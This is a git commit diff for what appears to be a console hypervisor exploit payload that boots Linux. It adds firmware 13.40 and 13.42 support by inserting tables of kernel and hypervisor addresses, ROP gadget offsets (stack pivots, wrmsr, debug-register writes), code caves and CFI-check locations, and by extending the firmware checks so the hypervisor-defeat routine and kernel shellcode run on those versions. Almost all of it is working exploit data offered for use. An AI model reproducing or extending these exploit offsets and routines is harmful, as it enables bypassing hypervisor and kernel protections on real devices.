Linux payload implementing HV exploits to run a custom bootloader
C
Add firmware 13.40 and 13.42 support (#58)
soniciso16b2ba2f78467
diff --git a/include/offsets.h b/include/offsets.hindex 6d785a3..b378d05 100644--- a/include/offsets.h+++ b/include/offsets.h@@ -102,6 +102,8 @@ extern offset_list off_0761;extern offset_list off_1160;extern offset_list off_1300;extern offset_list off_1320;+extern offset_list off_1340;+extern offset_list off_1342;extern offset_list off_1360;#endifdiff --git a/source/hv_defeat_13xx.c b/source/hv_defeat_13xx.cindex ff9459b..42a5e92 100644--- a/source/hv_defeat_13xx.c+++ b/source/hv_defeat_13xx.c@@ -97,7 +97,7 @@ uint64_t kgadget(kgadget_t gadget) {}static int offsets_present(void) {- if (fw != 0x1300 && fw != 0x1320 && fw != 0x1360)+ if (fw != 0x1300 && fw != 0x1320 && fw != 0x1340 && fw != 0x1342 && fw != 0x1360)return 0;const uint64_t required[] = {@@ -400,7 +400,7 @@ int hv_defeat_13xx(void *shellcode_kernel, size_t shellcode_kernel_len) {uint64_t waking_vector;int result;- if ((fw != 0x1300 && fw != 0x1320 && fw != 0x1360) || !shellcode_kernel ||+ if ((fw != 0x1300 && fw != 0x1320 && fw != 0x1340 && fw != 0x1342 && fw != 0x1360) || !shellcode_kernel ||!shellcode_kernel_len || !offsets_present()) {if (fw == 0x1360)notify("13.60 offsets incomplete\n");diff --git a/source/main.c b/source/main.cindex ab8d5de..30fb41b 100644--- a/source/main.c+++ b/source/main.c@@ -47,7 +47,7 @@ int main(void) {} else if ((0x0650 <= fw) && (fw < 0x0800)) {if (hv_defeat_0607(shellcode_kernel, shellcode_kernel_len))goto err;- } else if (fw == 0x1300 || fw == 0x1320 || fw == 0x1360) {+ } else if (fw == 0x1300 || fw == 0x1320 || fw == 0x1340 || fw == 0x1342 || fw == 0x1360) {if (hv_defeat_13xx(shellcode_kernel, shellcode_kernel_len))goto err;} else if (fw == 0x1160) {diff --git a/source/offsets.c b/source/offsets.cindex 222457b..434b31a 100644--- a/source/offsets.c+++ b/source/offsets.c@@ -923,6 +923,118 @@ offset_list off_1320 = {.HV_EFI_MAP_ROOT = 0x3DC9070,};+offset_list off_1340 = {+ .IOMMU_SOFTC = 0x3532CF0,+ .VMSPACE_VM_VMID = 0x1EC,+ .VMSPACE_VM_PMAP = 0x1D8,+ .DATA_BASE_GVMSPACE = 0x3B8A570,+ .ACPIGBL_FACS = 0x39B9390,+ .IDT = 0x3B94300,+ .COMMON_TSS = 0x3B96FE0,+ .FUN_MEMCPY = 0x2590B0,+ .GAD_ADD_RSP_28_POP_RBP_RET = 0x9DB264,+ .GAD_IRETQ = 0x257B3D,+ .GAD_POP_RAX_RET = 0x291291,+ .GAD_POP_RDI_RET = 0x33CC8D,+ .GAD_POP_RDX_RET = 0x2A0D9B,+ .GAD_POP_RCX_RET = 0x2918A2,+ .GAD_POP_RSP_RET = 0x291C32,+ .GAD_WRMSR_RET = 0x255034,+ .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = 0x3D353A,+ .KERNEL_CODE_CAVE = 0xCACA00,+ .FUN_HV_IOMMU_SET_BUFFERS = 0xC0A240,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0xC0A180,+ .FUN_SMP_RENDEZVOUS = 0xAF97F0,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_HANDLE_VMEXIT_PA = 0x62847375,+ .KERNEL_UART_OVERRIDE = 0x21E9578,+ .KERNEL_CFI_CHECK = 0x44E630,+ .G_VBIOS = 0x3DB79F0,+ .FUN_TRANSMITTER_CONTROL = 0xC021E0,+ .FUN_MP3_INITIALIZE = 0xA0C0E0,+ .FUN_MP3_INVOKE = 0xA0ACE0,+ .PS5_WIFI_FW_OFFSET = 0x1505410,+ .PS5_WIFI_FW_SIZE = 0x7A248,+ .HV_MP_STARTUP_CALL = 0xC0A620,+ .DATA_CAVE = 0x2D29000,+ .GAD_PIVOT_ADD_RSP28_RET = 0x25213E,+ .GAD_POP_R8_RET = 0xB825CD,+ .GAD_STORE_RCX_R8_RET = 0x472BE9,+ .GAD_STORE_RDI8_RCX_RET = 0x325DEF,+ .GAD_OR_RCX_EAX_RET = 0x803460,+ .GAD_SET_DR7_RET = 0x9FFB56,+ .GAD_STORE_RCX_RDX_RET = 0x824DF5,+ .GAD_STORE_RCX_RAX_RET = 0x2BB0AF,+ .GAD_MOV_RAX_RSI_RET = 0x8DC014,+ .GAD_MOV_RAX_RDI_RET = 0xBE058A,+ .GAD_REP_MOVSB_RET = 0x25D027,+ .GAD_CLD_RET = 0x362F60,+ .GAD_RET_TRAMP = 0x291292,+ .GAD_DBREG_RESUME = 0x2529D8,+ .NVS_SIGNATURE = 0x1A071A0,+ .HV_EFI_MAP_ROOT = 0x3DCD070,+ .GAD_POP_RSI_RET = 0x35D93E,+ .FUN_PRINTF = 0x25D3F0,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x261F38,+ .MP_STARTUP_INIT_VECTOR = 0x268D08,+};++offset_list off_1342 = {+ .IOMMU_SOFTC = 0x3532CF0,+ .VMSPACE_VM_VMID = 0x1EC,+ .VMSPACE_VM_PMAP = 0x1D8,+ .DATA_BASE_GVMSPACE = 0x3B8A570,+ .ACPIGBL_FACS = 0x39B9390,+ .IDT = 0x3B94300,+ .COMMON_TSS = 0x3B96FE0,+ .FUN_MEMCPY = 0x2590B0,+ .GAD_ADD_RSP_28_POP_RBP_RET = 0x9DB264,+ .GAD_IRETQ = 0x257B3D,+ .GAD_POP_RAX_RET = 0x291291,+ .GAD_POP_RDI_RET = 0x33CC8D,+ .GAD_POP_RDX_RET = 0x2A0D9B,+ .GAD_POP_RCX_RET = 0x2918A2,+ .GAD_POP_RSP_RET = 0x291C32,+ .GAD_WRMSR_RET = 0x255034,+ .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = 0x3D353A,+ .KERNEL_CODE_CAVE = 0xCACA00,+ .FUN_HV_IOMMU_SET_BUFFERS = 0xC0A240,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0xC0A180,+ .FUN_SMP_RENDEZVOUS = 0xAF97F0,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_HANDLE_VMEXIT_PA = 0x62847375,+ .KERNEL_UART_OVERRIDE = 0x21E9578,+ .KERNEL_CFI_CHECK = 0x44E630,+ .G_VBIOS = 0x3DB79F0,+ .FUN_TRANSMITTER_CONTROL = 0xC021E0,+ .FUN_MP3_INITIALIZE = 0xA0C0E0,+ .FUN_MP3_INVOKE = 0xA0ACE0,+ .PS5_WIFI_FW_OFFSET = 0x1505410,+ .PS5_WIFI_FW_SIZE = 0x7A248,+ .HV_MP_STARTUP_CALL = 0xC0A620,+ .DATA_CAVE = 0x2D29000,+ .GAD_PIVOT_ADD_RSP28_RET = 0x25213E,+ .GAD_POP_R8_RET = 0xB825CD,+ .GAD_STORE_RCX_R8_RET = 0x472BE9,+ .GAD_STORE_RDI8_RCX_RET = 0x325DEF,+ .GAD_OR_RCX_EAX_RET = 0x803460,+ .GAD_SET_DR7_RET = 0x9FFB56,+ .GAD_STORE_RCX_RDX_RET = 0x824DF5,+ .GAD_STORE_RCX_RAX_RET = 0x2BB0AF,+ .GAD_MOV_RAX_RSI_RET = 0x8DC014,+ .GAD_MOV_RAX_RDI_RET = 0xBE058A,+ .GAD_REP_MOVSB_RET = 0x25D027,+ .GAD_CLD_RET = 0x362F60,+ .GAD_RET_TRAMP = 0x291292,+ .GAD_DBREG_RESUME = 0x2529D8,+ .NVS_SIGNATURE = 0x1A071A0,+ .HV_EFI_MAP_ROOT = 0x3DCD070,+ .GAD_POP_RSI_RET = 0x2A19BE,+ .FUN_PRINTF = 0x25D360,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x263AC8,+ .MP_STARTUP_INIT_VECTOR = 0x2687D8,+};+offset_list off_1360 = {.IOMMU_SOFTC = 0x3543A70,.VMSPACE_VM_VMID = 0x1EC,diff --git a/source/prepare_resume.c b/source/prepare_resume.cindex 9b1e1dd..b22bdc9 100644--- a/source/prepare_resume.c+++ b/source/prepare_resume.c@@ -158,7 +158,7 @@ int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len) {const uint8_t *shellcode_src = shellcode_kernel_bin;size_t shellcode_len = shellcode_kernel_bin_len;- if (fw == 0x1300 || fw == 0x1320) {+ if (fw == 0x1300 || fw == 0x1320 || fw == 0x1340 || fw == 0x1342) {shellcode_src = shellcode_kernel_13xx_bin;shellcode_len = shellcode_kernel_13xx_bin_len;} else if (fw == 0x1360 && linux_i.kit_type != KIT_RETAIL_PRO) {@@ -256,7 +256,8 @@ uint64_t prepare_sck_args(void) {args.kernel_cfi_check = ktext + env_offset.KERNEL_CFI_CHECK;args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA;args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA;- if ((fw == 0x1320 || fw == 0x1360) && linux_i.kit_type == KIT_RETAIL_PRO) {+ if ((fw == 0x1320 || fw == 0x1340 || fw == 0x1342 || fw == 0x1360) &&+ linux_i.kit_type == KIT_RETAIL_PRO) {uint64_t pro_base = derive_h() + HV_CODE_OFFSET_PRO;uint64_t hv_offset = pro_base - HV_BASE_REGULAR;args.hv_handle_vmexit_pa += hv_offset;diff --git a/source/utils.c b/source/utils.cindex 3c99f22..d2c89fe 100644--- a/source/utils.c+++ b/source/utils.c@@ -115,6 +115,12 @@ int set_offsets(void) {case 0x1320:env_offset = off_1320;break;+ case 0x1340:+ env_offset = off_1340;+ break;+ case 0x1342:+ env_offset = off_1342;+ break;case 0x1360:env_offset = off_1360;break;